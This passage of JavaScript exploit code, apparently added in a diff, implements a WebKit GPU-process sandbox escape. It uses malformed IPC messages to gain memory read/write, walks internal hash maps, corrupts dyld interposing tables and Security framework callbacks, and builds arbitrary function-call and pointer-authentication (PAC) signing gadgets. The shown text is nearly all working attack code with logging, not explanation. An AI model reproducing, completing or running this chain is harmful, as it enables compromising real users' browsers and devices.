assert_enable = true) { + const data = new BigUint64Array(2); + const data_u8 = new Uint8Array(data.buffer); + data[0] = size << 32n | 3n; + data[1] = addr; + copy_to_gpu(offsets.emptyString, data_u8); + const leak = RemoteGraphicsContextGL_GetShaderSource(); + if (assert_enable) { + ASSERT(leak.byteLength == size, "gpuRead(): leak.byteLength == size"); + } + return leak; + } + function gpu_slow_read64(addr) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_VertexAttrib4f, glConnection.identifier).encode('uint32_t', 0).encode('uint32_t', Number(addr & 0xffffffffn)).encode('uint32_t', Number(addr >> 32n)).encode('float', 0).encode('float', 0)); + const replyID = nextIdentifier(); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_GetBufferSubDataInline, glConnection.identifier).encode('uint64_t', replyID).encode('uint32_t', GL_ARRAY_BUFFER).encode('uint64_t', 0n).encode('uint64_t', 8n)); + const decoder = glConnection.receiveSyncReply(replyID); + const size = decoder.decode('uint64_t'); + const data = decoder.decode('uint64_t'); + return data; + } + function gpu_slow_read32(addr) { + return gpu_slow_read64(addr) & 0xffffffffn; + } + function crashGPUProcess(reason) { + LOG(`crashGPUProcess("${reason}")`); + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive(); + return; + } + function gpuProcessConnectionClosed() { + fcall(offsets.WebProcess_gpuProcessConnectionClosed, webProcess); + } + function ensureGPUProcessConnection() { + fcall(offsets.pthread_setspecific, runLoopHolder_tid, offsets.mainRunLoop); + fcall(offsets.WebProcess_ensureGPUProcessConnection, webProcess); + fcall(offsets.pthread_setspecific, runLoopHolder_tid, 0n); + } + function respawn_gpu_process_and_retry() { + print("[sbx0] stage2b: respawning GPU process"); + LOG(`[-] going to respawn gpu process`); + gpuProcessConnectionClosed(); + ensureGPUProcessConnection(); + gpuProcessConnection = read64(webProcess + 0x158n); + LOG(`new gpuProcessConnection: ${gpuProcessConnection.hex()}`); + const connection = read64(gpuProcessConnection + 0x20n); + LOG(`waiting for sendPort`); + read64_biguint64arr[1] = connection + 0x138n; + while (!read64_str.charCodeAt(0)); + LOG(`received sendPort`); + const maybe_port = read32(connection + 0x138n); + LOG(`maybe_port: ${maybe_port.hex()}`); + gpuConnection = new Connection(connection, true, "respawned gpu connection"); + gpuProcessConnectionIdentifier = read64(gpuProcessConnection + offsets.m_gpuProcessConnection_m_identifier); + SBX0(); + return false; + } + function findGPUConnectionToWebProcess() { + let our_GPUConnectionToWebProcess = NaN; + const m_webProcessConnections_Map = gpu_slow_read64(offsets.GPUProcess_singleton + offsets.m_webProcessConnections); + const m_webProcessConnections_MapData = gpu_slow_read_hashmap(m_webProcessConnections_Map); + for (const identifier of m_webProcessConnections_MapData.keys()) { + const current_GPUConnectionToWebProcess = m_webProcessConnections_MapData.get(identifier); + const m_remoteGraphicsContextGL_Map = gpu_slow_read64(current_GPUConnectionToWebProcess + offsets.GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap); + if (m_remoteGraphicsContextGL_Map) { + const m_remoteGraphicsContextGL_MapData = gpu_slow_read_hashmap(m_remoteGraphicsContextGL_Map); + if (m_remoteGraphicsContextGL_MapData.get(glConnection.identifier)) { + our_GPUConnectionToWebProcess = current_GPUConnectionToWebProcess; + LOG(`Found our GPUConnectionToWebProcess: ${our_GPUConnectionToWebProcess.hex()}`); + break; + } + } + } + return our_GPUConnectionToWebProcess; + } + function restoreCoreAnimationHeaders(restoration_count = 4) { + let our_GPUConnectionToWebProcess = findGPUConnectionToWebProcess(); + if (our_GPUConnectionToWebProcess) { + let our_RenderingBackend = NaN; + const m_remoteRenderingBackend_Map = gpu_slow_read64(our_GPUConnectionToWebProcess + offsets.m_remoteRenderingBackendMap); + if (m_remoteRenderingBackend_Map) { + const m_remoteRenderingBackend_MapData = gpu_slow_read_hashmap(m_remoteRenderingBackend_Map); + our_RenderingBackend = m_remoteRenderingBackend_MapData.get(backendConnection.identifier); + } + if (our_RenderingBackend) { + LOG(`Found our RenderingBackend: ${our_RenderingBackend.hex()}`); + const m_remoteDisplayLists = gpu_slow_read64(our_RenderingBackend + offsets.m_remoteDisplayLists); + if (m_remoteDisplayLists) { + LOG(`m_remoteDisplayLists: ${m_remoteDisplayLists.hex()}`); + const m_remoteDisplayListsMapData = gpu_slow_read_hashmap(m_remoteDisplayLists); + for (let i = 0; i < restoration_count; i++) { + const remote_display_list_recorder = m_remoteDisplayListsMapData.get(imageBufferIdentifiers[i]); + if (remote_display_list_recorder) { + LOG(`Image ID: ${imageBufferIdentifiers[i].hex()} - remote_display_list_recorder: ${remote_display_list_recorder.hex()}`); + const m_imageBuffer = gpu_slow_read64(remote_display_list_recorder + offsets.m_imageBuffer); + LOG(`\tm_imageBuffer: ${m_imageBuffer.hex()}`); + const m_backend = gpu_slow_read64(m_imageBuffer + offsets.m_backend); + LOG(`\tm_backend: ${m_backend.hex()}`); + const m_platformContext = gpu_slow_read64(m_backend + offsets.m_platformContext); + LOG(`\tm_platformContext: ${m_platformContext.hex()}`); + const CGContextDelegate = gpu_slow_read64(m_platformContext + offsets.CGContextDelegate); + LOG(`\tCGContextDelegate: ${CGContextDelegate.hex()}`); + const IOSurfaceContextDelegate = gpu_slow_read64(CGContextDelegate + offsets.IOSurfaceContextDelegate); + LOG(`\tIOSurfaceContextDelegate: ${IOSurfaceContextDelegate.hex()}`); + const IOSurfaceDrawable = gpu_slow_read64(IOSurfaceContextDelegate + offsets.IOSurfaceDrawable); + LOG(`\tIOSurfaceDrawable: ${IOSurfaceDrawable.hex()}`); + const IOSurfaceQueue = gpu_slow_read64(IOSurfaceDrawable + offsets.IOSurfaceQueue); + LOG(`\tIOSurfaceQueue: ${IOSurfaceQueue.hex()}`); + const CAPointer = gpu_slow_read64(IOSurfaceQueue + offsets.CAPointer); + LOG(`\tCAPointer: ${CAPointer.hex()}`); + LOG("\tCA Header Before restoration"); + for (let j = 0; j < 5; j++) { + LOG(`\t\t${(CAPointer + BigInt(j) * 8n).hex()} : ${gpu_slow_read64(CAPointer + BigInt(j) * 8n).hex()}`); + } + gpu_slow_write64(CAPointer, 0x0n); + gpu_slow_write64(CAPointer + 0x8n, 0x0n); + gpu_slow_write64(CAPointer + 0x10n, 0x4000n); + gpu_slow_write64(CAPointer + 0x18n, 0x4000n); + gpu_slow_write64(CAPointer + 0x20n, CAPointer); + LOG("\tCA Header After restoration"); + for (let j = 0; j < 5; j++) { + LOG(`\t\t${(CAPointer + BigInt(j) * 8n).hex()} : ${gpu_slow_read64(CAPointer + BigInt(j) * 8n).hex()}`); + } + } + } + } + } + } + } + if (retry_count == 1) { + crashGPUProcess('process cleanup'); + return respawn_gpu_process_and_retry(); + } + const backendConnection = new StreamClientConnection(nextIdentifier(), 0x100000n); + const glConnection = new StreamClientConnection(nextIdentifier(), 0x30000n); + LOG(`backendConnection.identifier: ${backendConnection.identifier.hex()}`); + LOG(`glConnection.identifier: ${glConnection.identifier.hex()}`); + GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection); + GPUConnectionToWebProcess_CreateGraphicsContextGL(); + RemoteGraphicsContextGL_Reshape(); + initGLProgram(); + if (!oob()) { + LOG("GPU crashed at agx oob"); + return respawn_gpu_process_and_retry(); + } + if (!preparePrimitives()) { + LOG("GPU crashed at CoreAnimation oob"); + return respawn_gpu_process_and_retry(); + } + gpu_slow_write64(offsets.free_slabs, 0n); + LOG(`offsets.free_slabs: ${offsets.free_slabs.hex()}`); + restoreCoreAnimationHeaders(restoration_count = 4); + sbx0_rw_end = Date.now(); + LOG(`[profiler] sbx0 (read/write) took ${sbx0_rw_end - sbx0_rw_begin}ms`); + print("[sbx0] stage4: R/W done (" + (sbx0_rw_end - sbx0_rw_begin) + "ms), PAC bypass start"); + LOG('gpu pac bypass start'); + const sbx0_pac_begin = Date.now(); + const backendConnection2 = new StreamClientConnection(nextIdentifier(), 0x4000n); + const backendConnection3 = new StreamClientConnection(nextIdentifier(), 0x4000n); + const backendConnection4 = new StreamClientConnection(nextIdentifier(), 0x4000n); + LOG(`backendConnection2.identifier: ${backendConnection2.identifier.hex()}`); + LOG(`backendConnection3.identifier: ${backendConnection3.identifier.hex()}`); + LOG(`backendConnection4.identifier: ${backendConnection4.identifier.hex()}`); + GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection2); + GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection3); + GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection4); + const imageBufferIdentifier1 = RemoteRenderingBackend_CreateImageBuffer(backendConnection2); + LOG(`imageBufferIdentifier1: ${imageBufferIdentifier1.hex()}`); + const imageBufferIdentifier2 = RemoteRenderingBackend_CreateImageBuffer(backendConnection2); + LOG(`imageBufferIdentifier2: ${imageBufferIdentifier2.hex()}`); + const imageBufferIdentifier3 = RemoteRenderingBackend_CreateImageBuffer(backendConnection3); + LOG(`imageBufferIdentifier3: ${imageBufferIdentifier3.hex()}`); + const imageBufferIdentifier4 = RemoteRenderingBackend_CreateImageBuffer(backendConnection3); + LOG(`imageBufferIdentifier4: ${imageBufferIdentifier4.hex()}`); + const imageBufferIdentifier5 = RemoteRenderingBackend_CreateImageBuffer(backendConnection4); + LOG(`imageBufferIdentifier5: ${imageBufferIdentifier5.hex()}`); + const imageBufferIdentifier6 = RemoteRenderingBackend_CreateImageBuffer(backendConnection4); + LOG(`imageBufferIdentifier6: ${imageBufferIdentifier6.hex()}`); + function gpu_slow_read_hashmap(map_ptr, key_size = 8n, element_size = 8n) { + const map_length = gpu_slow_read64(map_ptr - 8n) >> 32n; + const entry_size = key_size + element_size; + const buffer_size = entry_size * map_length; + const map_buffer = copy_from_gpu(map_ptr, buffer_size); + const map_buffer_u64 = new BigUint64Array(map_buffer); + const res = new Map(); + for (let offset = 0n; offset < buffer_size; offset += entry_size) { + const key = map_buffer_u64[offset / 8n]; + if (key) { + const value = map_buffer_u64[(offset + key_size) / 8n]; + res.set(key, value); + } + } + return res; + } + const webProcessConnectionsMap = gpu_slow_read64(offsets.GPUProcess_singleton + 0x80n); + LOG(`webProcessConnectionsMap: ${webProcessConnectionsMap.hex()}`); + const webProcessConnectionsMapData = gpu_slow_read_hashmap(webProcessConnectionsMap); + LOG(`webProcessConnectionsMap.size: ${webProcessConnectionsMapData.size}`); + let myWebProcessConnection; + let remoteRenderingBackend2; + let remoteRenderingBackend3; + let remoteRenderingBackend4; + for (const identifier of webProcessConnectionsMapData.keys()) { + const webProcessConnection = webProcessConnectionsMapData.get(identifier); + LOG(` [${identifier.hex()}] (WebProcess)${webProcessConnection.hex()}`); + const remoteRenderingBackendMap = gpu_slow_read64(webProcessConnection + 0xe8n); + LOG(` .remoteRenderingBackendMap = ${remoteRenderingBackendMap.hex()}`); + if (remoteRenderingBackendMap) { + const remoteRenderingBackendMapData = gpu_slow_read_hashmap(remoteRenderingBackendMap); + if (remoteRenderingBackendMapData.get(backendConnection2.identifier)) { + myWebProcessConnection = webProcessConnection; + remoteRenderingBackend2 = remoteRenderingBackendMapData.get(backendConnection2.identifier); + remoteRenderingBackend3 = remoteRenderingBackendMapData.get(backendConnection3.identifier); + remoteRenderingBackend4 = remoteRenderingBackendMapData.get(backendConnection4.identifier); + break; + } + } + } + ASSERT(myWebProcessConnection, 'myWebProcessConnection not found'); + LOG(`myWebProcessConnection: ${myWebProcessConnection.hex()}`); + ASSERT(remoteRenderingBackend2); + LOG(`remoteRenderingBackend2: ${remoteRenderingBackend2.hex()}`); + ASSERT(remoteRenderingBackend3); + LOG(`remoteRenderingBackend3: ${remoteRenderingBackend3.hex()}`); + ASSERT(remoteRenderingBackend4); + LOG(`remoteRenderingBackend4: ${remoteRenderingBackend4.hex()}`); + const remoteImageBuffersMap2 = gpu_slow_read64(remoteRenderingBackend2 + 0x78n); + ASSERT(remoteImageBuffersMap2); + LOG(`remoteImageBuffersMap2: ${remoteImageBuffersMap2.hex()}`); + const remoteImageBuffersMap3 = gpu_slow_read64(remoteRenderingBackend3 + 0x78n); + ASSERT(remoteImageBuffersMap3); + LOG(`remoteImageBuffersMap3: ${remoteImageBuffersMap3.hex()}`); + const remoteImageBuffersMap4 = gpu_slow_read64(remoteRenderingBackend4 + 0x78n); + ASSERT(remoteImageBuffersMap4); + LOG(`remoteImageBuffersMap4: ${remoteImageBuffersMap4.hex()}`); + const remoteImageBuffersMapData2 = gpu_slow_read_hashmap(remoteImageBuffersMap2); + const remoteImageBuffersMapData3 = gpu_slow_read_hashmap(remoteImageBuffersMap3); + const remoteImageBuffersMapData4 = gpu_slow_read_hashmap(remoteImageBuffersMap4); + const remoteImageBuffer1 = remoteImageBuffersMapData2.get(imageBufferIdentifier1); + LOG(`remoteImageBuffer1: ${remoteImageBuffer1.hex()}`); + const remoteImageBuffer2 = remoteImageBuffersMapData2.get(imageBufferIdentifier2); + LOG(`remoteImageBuffer2: ${remoteImageBuffer2.hex()}`); + const remoteImageBuffer3 = remoteImageBuffersMapData3.get(imageBufferIdentifier3); + LOG(`remoteImageBuffer3: ${remoteImageBuffer3.hex()}`); + const remoteImageBuffer4 = remoteImageBuffersMapData3.get(imageBufferIdentifier4); + LOG(`remoteImageBuffer4: ${remoteImageBuffer4.hex()}`); + const remoteImageBuffer5 = remoteImageBuffersMapData4.get(imageBufferIdentifier5); + LOG(`remoteImageBuffer5: ${remoteImageBuffer5.hex()}`); + const remoteImageBuffer6 = remoteImageBuffersMapData4.get(imageBufferIdentifier6); + LOG(`remoteImageBuffer6: ${remoteImageBuffer6.hex()}`); + const imageBuffer1 = gpu_slow_read64(remoteImageBuffer1 + 0x18n); + LOG(`imageBuffer1: ${imageBuffer1.hex()}`); + const imageBuffer2 = gpu_slow_read64(remoteImageBuffer2 + 0x18n); + LOG(`imageBuffer2: ${imageBuffer2.hex()}`); + const imageBuffer3 = gpu_slow_read64(remoteImageBuffer3 + 0x18n); + LOG(`imageBuffer3: ${imageBuffer3.hex()}`); + const imageBuffer4 = gpu_slow_read64(remoteImageBuffer4 + 0x18n); + LOG(`imageBuffer4: ${imageBuffer4.hex()}`); + const imageBuffer5 = gpu_slow_read64(remoteImageBuffer5 + 0x18n); + LOG(`imageBuffer5: ${imageBuffer5.hex()}`); + const imageBuffer6 = gpu_slow_read64(remoteImageBuffer6 + 0x18n); + LOG(`imageBuffer6: ${imageBuffer6.hex()}`); + gpu_slow_write64(imageBuffer1 + 0x20n, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest); + RemoteRenderingBackend_ReleaseImageBuffer(backendConnection2, imageBufferIdentifier1); + const NSBundleTables = gpu_slow_read64(offsets.Foundation__NSBundleTables_bundleTables_value); + LOG(`NSBundleTables: ${NSBundleTables.hex()}`); + const loadedFrameworks = gpu_slow_read64(NSBundleTables + 0x20n); + LOG(`loadedFrameworks: ${loadedFrameworks.hex()}`); + const loadedFrameworks_length = gpu_slow_read64(loadedFrameworks + 0x30n); + LOG(`loadedFrameworks_length: ${loadedFrameworks_length.hex()}`); + const loadedFrameworks_buffer = gpu_slow_read64(loadedFrameworks + 8n); + LOG(`loadedFrameworks_buffer: ${loadedFrameworks_buffer.hex()}`); + for (let i = 0n; i < loadedFrameworks_length; ++i) { + const bundle = gpu_slow_read64(loadedFrameworks_buffer + 8n * i); + if (bundle <= 0x1_00000000n) continue; + LOG(`bundle[${i}]: ${bundle.hex()}`); + const initialPath = gpu_slow_read64(bundle + 0x28n); + if (initialPath != offsets.AVFAudio__cfstr_SystemLibraryTextToSpeech) continue; + TextToSpeech_NSBundle = bundle; + break; + } + LOG(`TextToSpeech_NSBundle: ${TextToSpeech_NSBundle.hex()}`); + const TextToSpeech_CFBundle = gpu_slow_read64(TextToSpeech_NSBundle + 0x10n); + LOG(`TextToSpeech_CFBundle: ${TextToSpeech_CFBundle.hex()}`); + function gpu_slow_write8(ptr, u16) { + let value = gpu_slow_read64(ptr); + value &= ~0xffn; + value |= u16; + gpu_slow_write64(ptr, value); + } + gpu_slow_write64(TextToSpeech_NSBundle + 8n, 0x40008n); + gpu_slow_write8(TextToSpeech_CFBundle + 0x34n, 0n); + gpu_slow_write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libARI_cstring); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x15n); + gpu_slow_write64(TextToSpeech_CFBundle + 0x68n, offsets.CFNetwork__gConstantCFStringValueTable); + gpu_slow_write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + gpu_slow_write64(imageBuffer2 + 0x20n, offsets.TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit); + RemoteRenderingBackend_ReleaseImageBuffer_NoWait(backendConnection2, imageBufferIdentifier2); + const runtimeState = gpu_slow_read64(offsets.libdyld__gAPIs); + LOG(`runtimeState: ${runtimeState.hex()}`); + const runtimeStateLock = gpu_slow_read64(runtimeState + 0x70n); + LOG(`runtimeStateLock: ${runtimeStateLock.hex()}`); + const p_InterposeTupleAll_buffer = runtimeState + 0xb8n; + LOG(`p_InterposeTupleAll_buffer: ${p_InterposeTupleAll_buffer.hex()}`); + const p_InterposeTupleAll_size = runtimeState + 0xc0n; + LOG(`p_InterposeTupleAll_size: ${p_InterposeTupleAll_size.hex()}`); + const runtimeState_vtable = gpu_slow_read64(runtimeState).noPAC(); + LOG(`runtimeState_vtable: ${runtimeState_vtable.hex()}`); + const dyld_emptySlot = gpu_slow_read64(runtimeState_vtable).noPAC(); + LOG(`dyld_emptySlot: ${dyld_emptySlot.hex()}`); + const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide; + LOG(`dyld_offset: ${dyld_offset.hex()}`); + let dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset; + LOG(`dlopen_from_lambda_ret: ${dlopen_from_lambda_ret.hex()}`); + dlopen_from_lambda_ret = dlopen_from_lambda_ret & 0xffffffffn; + const workQueue = gpu_slow_read64(remoteRenderingBackend2 + 0x20n); + LOG(`workQueue: ${workQueue.hex()}`); + const backend2_processingThread = gpu_slow_read64(workQueue + 0x30n); + LOG(`backend2_processingThread: ${backend2_processingThread.hex()}`); + const stack_bottom = gpu_slow_read64(backend2_processingThread + 0x10n); + LOG(`stack_bottom: ${stack_bottom.hex()}`); + const stack_top = gpu_slow_read64(backend2_processingThread + 0x18n); + LOG(`stack_top: ${stack_top.hex()}`); + while (true) { + const lr = gpu_slow_read64(stack_bottom - 0x18c8n) & 0xffff_ffffn; + if (lr == dlopen_from_lambda_ret) break; + } + LOG('RemoteRenderingBackend2 has been mutex-locked'); + const loader = stack_bottom - 0x18c8n + 0x78n; + LOG(`loader: ${loader.hex()}`); + let bss = offsets.DesktopServicesPriv_bss; + LOG(`bss: ${bss.hex()}`); + function alloc_bss(size) { + const res = bss; + bss += size; + return res; + } + const prev_metadata_ptr = alloc_bss(0x10n); + LOG(`prev_metadata_ptr: ${prev_metadata_ptr.hex()}`); + const metadata_ptr = alloc_bss(0x10n); + LOG(`metadata_ptr: ${metadata_ptr.hex()}`); + const invoker_arg = alloc_bss(0x10n); + LOG(`invoker_arg: ${invoker_arg.hex()}`); + const invoker_x0 = alloc_bss(0x60n); + LOG(`invoker_x0: ${invoker_x0.hex()}`); + const gSecurityd = alloc_bss(0x100n); + LOG(`gSecurityd: ${gSecurityd.hex()}`); + const slowFcallResult = alloc_bss(0x10n); + LOG(`slowFcallResult: ${slowFcallResult.hex()}`); + const gpu_string_buffer = alloc_bss(0x20n); + LOG(`gpu_string_buffer: ${gpu_string_buffer.hex()}`); + const signPointerSelf = alloc_bss(0x10n); + LOG(`signPointerSelf: ${signPointerSelf.hex()}`); + const interposingTuples_ptr = alloc_bss(0x100n); + LOG(`interposingTuples_ptr: ${interposingTuples_ptr.hex()}`); + gpu_slow_write64(prev_metadata_ptr, prev_metadata_ptr); + gpu_slow_write64(prev_metadata_ptr + 8n, 1n); + gpu_slow_write64(metadata_ptr, prev_metadata_ptr); + gpu_slow_write64(metadata_ptr + 8n, metadata_ptr + 0x10n - interposingTuples_ptr | 1n); + gpu_slow_write64(loader, p_InterposeTupleAll_buffer - 0x10n); + gpu_slow_write64(loader + 8n, metadata_ptr + 0x10n); + gpu_slow_write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + gpu_slow_write64(TextToSpeech_NSBundle + 0x40n, 0n); + gpu_slow_write64(runtimeStateLock + 0x20n, 0n); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.HOMEUI_cstring); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x3bn); + gpu_slow_write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + gpu_slow_write64(imageBuffer3 + 0x20n, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice); + RemoteRenderingBackend_ReleaseImageBuffer(backendConnection3, imageBufferIdentifier3); + while (true) { + const InterposeTupleAll_buffer = gpu_slow_read64(p_InterposeTupleAll_buffer); + if (InterposeTupleAll_buffer) { + LOG(`InterposeTupleAll_buffer: ${InterposeTupleAll_buffer.hex()}`); + break; + } + sleep(10); + } + LOG(`RemoteRenderingBackend2 has been spin-locked`); + gpu_slow_write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + gpu_slow_write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + gpu_slow_write64(TextToSpeech_NSBundle + 0x40n, 0n); + gpu_slow_write64(TextToSpeech_NSBundle + 8n, 0x40008n); + gpu_slow_write8(TextToSpeech_CFBundle + 0x34n, 0n); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.PerfPowerServicesReader_cstring); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5bn); + gpu_slow_write64(imageBuffer4 + 0x20n, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker); + gpu_slow_write64(runtimeStateLock + 0x20n, 0n); + RemoteRenderingBackend_ReleaseImageBuffer_NoWait(backendConnection3, imageBufferIdentifier4); + const backend3_workQueue = gpu_slow_read64(remoteRenderingBackend3 + 0x20n); + LOG(`backend3_workQueue: ${backend3_workQueue.hex()}`); + const backend3_processingThread = gpu_slow_read64(backend3_workQueue + 0x30n); + LOG(`backend3_processingThread: ${backend3_processingThread.hex()}`); + const backend3_stack_bottom = gpu_slow_read64(backend3_processingThread + 0x10n); + LOG(`backend3_stack_bottom: ${backend3_stack_bottom.hex()}`); + const backend3_stack_top = gpu_slow_read64(backend3_processingThread + 0x18n); + LOG(`backend3_stack_top: ${backend3_stack_top.hex()}`); + while (true) { + const lr = gpu_slow_read64(backend3_stack_bottom - 0x17a8n) & 0xffff_ffffn; + if (lr == dlopen_from_lambda_ret) break; + sleep(10); + } + LOG('RenderingBackend3 has been mutex-locked'); + const backend3_loader = backend3_stack_bottom - 0x17a8n + 0x78n; + LOG(`backend3_loader: ${backend3_loader.hex()}`); + gpu_slow_write64(metadata_ptr + 8n, metadata_ptr + 0x10n - 0x100n | 1n); + gpu_slow_write64(backend3_loader, p_InterposeTupleAll_size - 0x10n); + gpu_slow_write64(backend3_loader + 8n, metadata_ptr + 0x10n); + gpu_slow_write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + gpu_slow_write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + gpu_slow_write64(TextToSpeech_NSBundle + 0x40n, 0n); + gpu_slow_write64(runtimeStateLock + 0x20n, 0n); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libGPUCompilerImplLazy_cstring); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5en); + gpu_slow_write64(imageBuffer5 + 0x20n, offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance); + RemoteRenderingBackend_ReleaseImageBuffer(backendConnection4, imageBufferIdentifier5); + while (true) { + const ptr = gpu_slow_read64(p_InterposeTupleAll_size); + if (ptr === 0x100n) break; + sleep(10); + } + LOG('RenderingBackend3 has been spin-locked'); + let fontIdentifier = 0x1234n; + LOG(`fontIdentifier: ${fontIdentifier.hex()}`); + function cacheFont() { + backendConnection4.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteRenderingBackend_CacheFont, backendConnection4.identifier).encode('uint8_t', 1).encode('uint64_t', fontIdentifier).encode('uint8_t', 1).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('float', 10).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint32_t', 0x80010000).encode8BitString('file:///System/Library/Fonts/Core/Helvetica.ttc#postscript-name=Helvetica').encode8BitString('Helvetica').encode('uint8_t', 0)); + } + function releaseFont() { + backendConnection4.sendMessage(new Encoder(MessageName.RemoteRenderingBackend_ReleaseRenderingResource, backendConnection4.identifier).encode('uint64_t', fontIdentifier)); + backendConnection4.processOutOfStreamMessageAndWait(); + } + const initMediaAccessibilityMACaptionAppearanceGetDisplayType = gpu_slow_read64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType); + LOG(`initMediaAccessibilityMACaptionAppearanceGetDisplayType: ${initMediaAccessibilityMACaptionAppearanceGetDisplayType.hex()}`); + gpu_slow_write64(offsets.WebCore__softLinkOTSVGOTSVGTableRelease, initMediaAccessibilityMACaptionAppearanceGetDisplayType); + let interpose_index = 0n; + function interpose(ptr, val) { + gpu_slow_write64(interposingTuples_ptr + interpose_index * 0x10n, val); + gpu_slow_write64(interposingTuples_ptr + interpose_index * 0x10n + 8n, ptr); + interpose_index += 1n; + } + interpose(offsets.MediaAccessibility__MACaptionAppearanceGetDisplayType, offsets.ImageIO__IIOLoadCMPhotoSymbols); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateContainerFromImageExt, offsets.libGPUCompilerImplLazy__invoker); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateDataContainerFromImage, offsets.Security__SecKeychainBackupSyncable_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage, offsets.Security__SecOTRSessionProcessPacketRemote_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer); + let resourceCacheMap; + function invoke(x0) { + cacheFont(); + if (!resourceCacheMap) { + resourceCacheMap = gpu_slow_read64(remoteRenderingBackend4 + 0x40n); + LOG(`resourceCacheMap: ${resourceCacheMap.hex()}`); + } + const font = gpu_slow_read64(resourceCacheMap + 0x50n); + gpu_slow_write64(font + 0x120n, x0); + gpu_slow_write64(font + 0x128n, 1n); + releaseFont(); + } + invoke(1n); + const paciza_invoker = gpu_slow_read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt); + LOG(`paciza_invoker: ${paciza_invoker.hex()}`); + const paciza_security_invoker_1 = gpu_slow_read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage); + LOG(`paciza_security_invoker_1: ${paciza_security_invoker_1.hex()}`); + const paciza_security_invoker_2 = gpu_slow_read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage); + LOG(`paciza_security_invoker_2: ${paciza_security_invoker_2.hex()}`); + const paciza_signPointer = gpu_slow_read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddExif); + LOG(`paciza_signPointer: ${paciza_signPointer.hex()}`); + gpu_slow_write64(offsets.Security__gSecurityd, gSecurityd); + gpu_slow_write64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType, paciza_invoker); + gpu_slow_write64(invoker_arg + 8n, invoker_x0); + gpu_slow_write64(slowFcallResult + 8n, slowFcallResult - 0x18n); + gpu_slow_write64(invoker_x0 + 0x20n, slowFcallResult); + let invoker_type = 0; + function gpu_slow_fcall_1(pc, x0 = 0n, x1 = 0n, x2 = 0n) { + if (invoker_type != 1) { + gpu_slow_write64(invoker_arg, paciza_security_invoker_1); + invoker_type = 1; + } + gpu_slow_write64(gSecurityd + 0x78n, pc); + gpu_slow_write64(invoker_x0 + 0x28n, x0); + gpu_slow_write64(invoker_x0 + 0x30n, x1); + gpu_slow_write64(invoker_x0 + 0x38n, x2); + gpu_slow_write64(slowFcallResult, 0n); + invoke(invoker_arg); + while (true) { + const result = gpu_slow_read64(slowFcallResult); + if (result) return result; + } + } + function gpu_slow_fcall_2(pc, x0 = -1n, x1 = -1n, x2 = -1n, x3 = -1n) { + if (invoker_type != 2) { + gpu_slow_write64(invoker_arg, paciza_security_invoker_2); + invoker_type = 2; + } + gpu_slow_write64(gSecurityd + 0xb8n, pc); + gpu_slow_write64(invoker_x0 + 0x28n, x0); + gpu_slow_write64(invoker_x0 + 0x30n, x1); + gpu_slow_write64(invoker_x0 + 0x38n, x2); + gpu_slow_write64(invoker_x0 + 0x40n, x3); + gpu_slow_write64(slowFcallResult, 71n); + invoke(invoker_arg); + while (true) { + const result = gpu_slow_read64(slowFcallResult); + if (result != 0x71n) return result; + } + } + function gpu_slow_pacia(ptr, ctx) { + gpu_slow_write64(signPointerSelf, 0x80010000_00000000n | ctx >> 48n << 32n); + return gpu_slow_fcall_1(paciza_signPointer, signPointerSelf, ctx, ptr); + } + function gpu_slow_pacib(ptr, ctx) { + gpu_slow_write64(signPointerSelf, 0x80030000_00000000n | ctx >> 48n << 32n); + return gpu_slow_fcall_1(paciza_signPointer, signPointerSelf, ctx, ptr); + } + const 